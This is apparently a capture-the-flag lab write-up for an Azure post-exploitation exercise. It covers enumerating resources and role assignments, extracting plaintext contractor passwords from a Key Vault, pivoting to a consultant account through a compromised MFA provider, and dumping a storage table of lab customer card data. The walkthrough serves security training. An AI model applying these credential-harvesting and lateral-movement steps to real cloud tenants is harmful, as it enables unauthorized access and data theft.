The Unlock Access with Azure Key Vault lab on PwnedLabs focuses on demonstrating cloud post-exploitation techniques within an Azure environment following an initial identity compromise. Practitioners learn how to leverage compromised user credentials to enumerate accessible cloud resources via the Azure CLI, discover misconfigured Azure Key Vault permissions, and extract plaintext secrets stored for contractor accounts. The lab further highlights lateral movement by exploiting a flawed external MFA provider to pivot to a higher-privileged consultant account. Finally, it illustrates how custom Azure RBAC roles with granular data-plane permissions can be analyzed to locate and exfiltrate sensitive customer data stored within Azure Storage tables.
1. Scenario & Real-world context
1.1 Scenario
After successfully compromising the Azure user account `marcus@megabigtech.com` and gaining access to their cloud environment, Mega Big Tech have asked us to see how far we can penetrate into the cloud environment, and if we can access any confidential data. Specifically they need us to assess the security of resources associated with the Azure Subscription ID `ceff06cb-e29d-4486-a3ae-eaaec5689f94` . Mega Big Tech will begin rolling out their own External Authentication Provider to reduce yearly operating costs. However, threat actors have already compromised the custom provider and altered its configuration. As a result, any Multifactor Authentication (MFA) challenge will now automatically return as successful, ultimately satisfying any Conditional Access Policy (CAP) that requires the standalone MFA grant control (as opposed to the Authentication Strength-MFA grant control).
1.2 Real-world context
Azure Key Vaults, which store sensitive data like secrets and certificates, are high-value targets for attackers aiming to compromise multiple services. Additionally, high-privileged contractor accounts that aren't properly managed pose a risk of privilege escalation and are also attractive targets for attackers.
2. Azure Key Vault Enumeration & Secret Extraction
2.1 Initial Access
Using the lab-provided credentials, I was able to log in and authenticate using Azure CLI.
A web browser has been opened at https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize. Please continue the login in the web browser. If no web browser is available or if the web browser fails to open, use device code flow with `az login --use-device-code`. Retrieving tenants and subscriptions for the selection... [Tenant and subscription selection] No Subscription name Subscription ID Tenant ----- --------------------- ------------------------------------ ----------------- [1] * Azure subscription 1 f96190f9-df1d-4cc1-9848-d2b1a41f5e7f Default Directory [2] Mega Big Tech Default ceff06cb-e29d-4486-a3ae-eaaec5689f94 Default Directory The default is marked with an *; the default tenant is 'Default Directory' and subscription is 'Azure subscription 1' (f96190f9-df1d-4cc1-9848-d2b1a41f5e7f). Select a subscription and tenant (Type a number or Enter for no changes): 2 Tenant: Default Directory Subscription: Mega Big Tech Default (ceff06cb-e29d-4486-a3ae-eaaec5689f94) [Announcements] With the new Azure CLI login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271236 If you encounter any problem, please open an issue at https://aka.ms/azclibug [Warning] The login output has been updated. Please be aware that it no longer displays the full list of available subscriptions by default.
After a successful login, I was able to confirm the successful access by running az account show.
{
"environmentName": "AzureCloud",
"homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"isDefault": true,
"managedByTenants": [],
"name": "Mega Big Tech Default",
"state": "Enabled",
"tenantDefaultDomain": "megabigtech.com",
"tenantDisplayName": "Default Directory",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"user": {
"name": "marcus@megabigtech.com",
"type": "user"
}
}
2.2 Resource Discovery & Role Verification
After verifying the authenticated access, I was able to enumerate the list of accessible resources by the marcus@megabigtech.com user. The result revealed that the user has access to the Azure Key Vault named ext-contractors, deployed within the content-static-2 resource group.
Name ResourceGroup Location Type Status --------------- ---------------- ---------- ------------------------- --------- ext-contractors content-static-2 eastus Microsoft.KeyVault/vaults Succeeded
Enumerating the Azure role assignments revealed that the marcus@megabigtech.com user holds the necessary permissions to read and extract the secret data from the ext-contractors vault.
Principal Role Scope -------------------------- ----------------------- --------------------------------------------------------------------------------------------------------------------------------------- Ian.Austin@megabigtech.com Key Vault Administrator /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.KeyVault/vaults/ext-contractors marcus@megabigtech.com Key Vault Reader /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.KeyVault/vaults/ext-contractors marcus@megabigtech.com Key Vault Secrets User /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.KeyVault/vaults/ext-contractors
2.3 Vault Secret Enumeration & Extraction
Since the user has the Key Vault Secrets User role, I was able to list the contents of the vault. The extracted values seem to be clear-text passwords for 3 users.
Name Id ContentType Enabled Expires ------------- ------------------------------------------------------------- ------------- --------- --------- alissa-suarez https://ext-contractors.vault.azure.net/secrets/alissa-suarez True josh-harvey https://ext-contractors.vault.azure.net/secrets/josh-harvey True ryan-garcia https://ext-contractors.vault.azure.net/secrets/ryan-garcia True
Using the secret's assigned name, I was able to extract the cleartext values from the vault.
Name Value ------------- ----------- alissa-suarez Welcome123!
Name Value ----------- ----------- josh-harvey rvh35vC#Hj3
Name Value ----------- ------------- ryan-garcia CHrhce5hc35j!
3. Azure AD User Enumeration & Lateral Movement
3.1 Identity Mapping & Target Selection
While searching for active Azure Active Directory accounts using the recovered key names, I found 2 active accounts.
Name UPN ID ------------------------ ------------------------------- ------------------------------------ Josh Harvey (Consultant) ext.josh.harvey@megabigtech.com 6470f625-41ce-4233-a621-fad0aa0b7300 Ryan Lin ryan.lin@megabigtech.com 40677d7c-d381-4d9f-81cb-4985917ff2fa
Further enumeration of the user accounts, I was able to find that the ext.josh.harvey@megabigtech.com user's job title is Consultant (Customer DB Migration Project), indicating that he likely will have database access permissions.
{
"displayName": "Josh Harvey (Consultant)",
"givenName": "Josh",
"jobTitle": "Consultant (Customer DB Migration Project)",
"surname": "Harvey",
"userPrincipalName": "ext.josh.harvey@megabigtech.com"
}
3.2 Identity Pivot
Using the password extracted from the Kay Vault, I was able to authenticate as the ext.josh.harvey@megabigtech.com user. Because the organization's custom External Authentication Provider is compromised, the Multifactor Authentication (MFA) challenge automatically returns as successful, bypassing Conditional Access Policies and allowing login without any issues.
Starting September 1, 2025, MFA will be gradually enforced for Azure public cloud. The authentication with username and password in the command line is not supported with MFA. Consider using one of the compatible authentication methods. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
Password:
[
{
"cloudName": "AzureCloud",
"homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"isDefault": true,
"managedByTenants": [],
"name": "Mega Big Tech Default",
"state": "Enabled",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"user": {
"name": "ext.josh.harvey@megabigtech.com",
"type": "user"
}
}
]
4. Storage Account Discovery & Data Exfiltration
4.1 Role Assignment & Custom Role Definition Analysis
To enumerate the resources that the ext.josh.harvey@megabigtech.com user has permission to access, I used az resource list -o table.
Name ResourceGroup Location Type Status ----------------------------------------------------- ---------------- ---------- ---------------------------------------- --------- mbtwebsite content-static-2 eastus Microsoft.Storage/storageAccounts Succeeded ext-contractors content-static-2 eastus Microsoft.KeyVault/vaults Succeeded custdatabase content-static-2 eastus Microsoft.Storage/storageAccounts Succeeded building-security707_z1 content-static-2 eastus Microsoft.Network/networkInterfaces Succeeded security-system-ip content-static-2 eastus Microsoft.Network/publicIPAddresses Succeeded ian_azure content-static-2 eastus Microsoft.Compute/sshPublicKeys Succeeded CONFIG-BACKUPS-vnet content-static-2 eastus Microsoft.Network/virtualNetworks Succeeded config-backups76_z1 content-static-2 eastus Microsoft.Network/networkInterfaces Succeeded security-system_DataDisk_0 content-static-2 eastus Microsoft.Compute/disks Succeeded CONFIG-BACKUPS-ip content-static-2 eastus Microsoft.Network/publicIPAddresses Succeeded building-security-nsg content-static-2 eastus Microsoft.Network/networkSecurityGroups Succeeded SECURITY-PC_OsDisk_1_8aa91f04fa25460590b4e1e7f869c248 CONTENT-STATIC-2 eastus Microsoft.Compute/disks Succeeded SECURITY-PC-nsg content-static-2 eastus Microsoft.Network/networkSecurityGroups Succeeded building-security-ip content-static-2 eastus Microsoft.Network/publicIPAddresses Succeeded security-pc112_z1 content-static-2 eastus Microsoft.Network/networkInterfaces Succeeded security-system-nsg content-static-2 eastus Microsoft.Network/networkSecurityGroups Succeeded CONFIG-BACKUPS-nsg content-static-2 eastus Microsoft.Network/networkSecurityGroups Succeeded security-system950_z1 content-static-2 eastus Microsoft.Network/networkInterfaces Succeeded securityconfigs content-static-2 eastus Microsoft.Storage/storageAccounts Succeeded SECURITY-PC-ip content-static-2 eastus Microsoft.Network/publicIPAddresses Succeeded SECURITY-PC content-static-2 eastus Microsoft.Compute/virtualMachines Succeeded mbt-1 content-static-2 eastus Microsoft.OperationalInsights/workspaces Succeeded SecurityInsights(mbt-1) content-static-2 eastus Microsoft.OperationsManagement/solutions Succeeded BehaviorAnalyticsInsights(mbt-1) content-static-2 eastus Microsoft.OperationsManagement/solutions Succeeded mbt-finance/master content-static-2 eastus Microsoft.Sql/servers/databases Succeeded mbt-finance/Finance content-static-2 eastus Microsoft.Sql/servers/databases Succeeded mbt-finance content-static-2 eastus Microsoft.Sql/servers Succeeded mbt-finance/subscribers content-static-2 eastus Microsoft.Sql/servers/databases Succeeded LogicAppsManagement(mbt-1) content-static-2 eastus Microsoft.OperationsManagement/solutions Succeeded SECURITY-PC content-static-2 eastus Microsoft.Compute/snapshots Succeeded megabigtech-fd content-static-2 global Microsoft.Cdn/profiles Succeeded megabigtech-fd/megabigtechfd content-static-2 global Microsoft.Cdn/profiles/afdendpoints Succeeded
Furthermore, enumerating the roles assigned to ext.josh.harvey@megabigtech.com revealed that the user has a custom role named Customer Database Access assigned.
Principal Role Scope ------------------------------- ------------------------ ----------------------------------------------------------------------------------- ext.josh.harvey@megabigtech.com Reader /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2 CUSTOMER-DATABASE-ACCESS Customer Database Access /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2
Enumerating the Customer Database Access role definition revealed that this role grants permission to access and read Azure Storage tables.
[
{
"assignableScopes": [
"/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2"
],
"createdBy": "18600f1a-3cee-434e-860f-aff4078da055",
"createdOn": "2023-10-23T22:42:46.587891+00:00",
"description": "Provides access to the Mega Big Tech customer list and information about customers",
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/providers/Microsoft.Authorization/roleDefinitions/53c88309-94d8-4b15-9c6b-f64a166f4ef0",
"name": "53c88309-94d8-4b15-9c6b-f64a166f4ef0",
"permissions": [
{
"actions": [
"Microsoft.Storage/storageAccounts/tableServices/tables/read"
],
"condition": null,
"conditionVersion": null,
"dataActions": [
"Microsoft.Storage/storageAccounts/tableServices/tables/entities/read"
],
"notActions": [],
"notDataActions": []
}
],
"roleName": "Customer Database Access",
"roleType": "CustomRole",
"systemData": null,
"type": "Microsoft.Authorization/roleDefinitions",
"updatedBy": "18600f1a-3cee-434e-860f-aff4078da055",
"updatedOn": "2023-10-24T14:10:35.955569+00:00"
}
]
- Control Plane -
Microsoft.Storage/storageAccounts/tableServices/tables/readallows listing table metadata within storage accounts. - Data Plane -
Microsoft.Storage/storageAccounts/tableServices/tables/entities/readgrants permission to read entity records stored within Azure Storage tables.
4.2 Storage Account & Flag Retrieval
Listing the storage accounts revealed 3 accounts.
Name Kind Location --------------- --------- ---------- custdatabase StorageV2 eastus mbtwebsite StorageV2 eastus securityconfigs StorageV2 eastus
Querying the entities within the customers table inside custdatabase, I was able to retrieve the customer records and retrieve the flag.
{
"items": [
{
"PartitionKey": "1",
"RowKey": "1",
"Timestamp": "2023-10-23T23:15:24.783790+00:00",
"card_expiry": "10/30",
"card_number": "5425233430109903",
"customer_id": "07244ad0-c228-43d8-a48e-1846796aa6ad",
"customer_name": "SecureBank Holdings",
"cvv": "543",
"etag": "W/\"datetime'2023-10-23T23%3A15%3A24.7837908Z'\""
},
{
"PartitionKey": "1",
"RowKey": "10",
"Timestamp": "2023-10-25T15:29:39.639285+00:00",
"card_expiry": "01/30",
"card_number": "4347866885036101",
"customer_id": "cba21bec-7e8d-4394-a145-ea7f6131a998",
"customer_name": "InnoVenture ",
"cvv": "781",
"etag": "W/\"datetime'2023-10-25T15%3A29%3A39.639285Z'\""
},
{
"PartitionKey": "1",
"RowKey": "2",
"Timestamp": "2023-10-25T13:47:30.688996+00:00",
"card_expiry": "09/29",
"card_number": "4012000033330026",
"customer_id": "66d7a744-5eb6-4b1b-9e70-a36824366534",
"customer_name": "NeuraHealth",
"cvv": "452",
"etag": "W/\"datetime'2023-10-25T13%3A47%3A30.6889967Z'\""
},
{
"PartitionKey": "1",
"RowKey": "3",
"Timestamp": "2023-10-25T14:21:04.702428+00:00",
"card_expiry": "05/31",
"card_number": "4657490028942036",
"customer_id": "6a88c0ff-b79c-4842-92f1-f25d53c5cbe4",
"customer_name": "DreamScreen Entertainment",
"cvv": "683",
"etag": "W/\"datetime'2023-10-25T14%3A21%3A04.7024283Z'\""
},
{
"PartitionKey": "1",
"RowKey": "4",
"Timestamp": "2023-10-25T14:22:32.036734+00:00",
"card_expiry": "01/29",
"card_number": "4657493919180161",
"customer_id": "14fb331d-a82e-41f8-8f20-d630f312dd3e",
"customer_name": "InfiNet Solutions",
"cvv": "855",
"etag": "W/\"datetime'2023-10-25T14%3A22%3A32.0367349Z'\""
},
{
"PartitionKey": "1",
"RowKey": "5",
"Timestamp": "2023-10-25T15:12:48.401517+00:00",
"card_expiry": "08/29",
"card_number": "4657490203402673",
"customer_id": "cdf53341-b806-4f69-a1e2-7b632b1d405d",
"customer_name": "Skyward Aerospace",
"cvv": "344",
"etag": "W/\"datetime'2023-10-25T15%3A12%3A48.4015171Z'\""
},
{
"PartitionKey": "1",
"RowKey": "6",
"Timestamp": "2023-10-25T15:15:13.603682+00:00",
"card_expiry": "12/30",
"card_number": "4594045518310163",
"customer_id": "c6e6418b-fc4e-4f7b-a463-1a3bc6551cd3",
"customer_name": "Quasar Analytics Inc",
"cvv": "145",
"etag": "W/\"datetime'2023-10-25T15%3A15%3A13.6036829Z'\""
},
{
"PartitionKey": "1",
"RowKey": "7",
"Timestamp": "2023-10-25T15:17:17.774271+00:00",
"card_expiry": "02/29",
"card_number": "4594055970518286",
"customer_id": "fc4f9042-5b94-4a79-b18a-40fa621fe2e1",
"customer_name": "DataGuard Inc",
"cvv": "243",
"etag": "W/\"datetime'2023-10-25T15%3A17%3A17.7742715Z'\""
},
{
"PartitionKey": "1",
"RowKey": "8",
"Timestamp": "2023-10-25T15:22:19.787444+00:00",
"card_expiry": "06/30",
"card_number": "4698558990398121",
"customer_id": "07a2cfae-16de-41a9-af51-b9cd9f077800",
"customer_name": "Huge Logistics",
"cvv": "546",
"etag": "W/\"datetime'2023-10-25T15%3A22%3A19.7874444Z'\""
},
{
"PartitionKey": "1",
"RowKey": "9",
"Timestamp": "2023-10-25T15:28:25.357589+00:00",
"card_expiry": "03/30",
"card_number": "4698559508013566",
"customer_id": "512df22d-815f-4f98-92af-a615a92ea39d",
"customer_name": "SmartMove Robotics",
"cvv": "992",
"etag": "W/\"datetime'2023-10-25T15%3A28%3A25.3575892Z'\""
},
{
"PartitionKey": "1",
"RowKey": "99",
"Timestamp": "2023-10-25T15:31:21.296722+00:00",
"customer_name": "Flag: ********************************",
"etag": "W/\"datetime'2023-10-25T15%3A31%3A21.2967228Z'\""
}
],
"nextMarker": {}
}
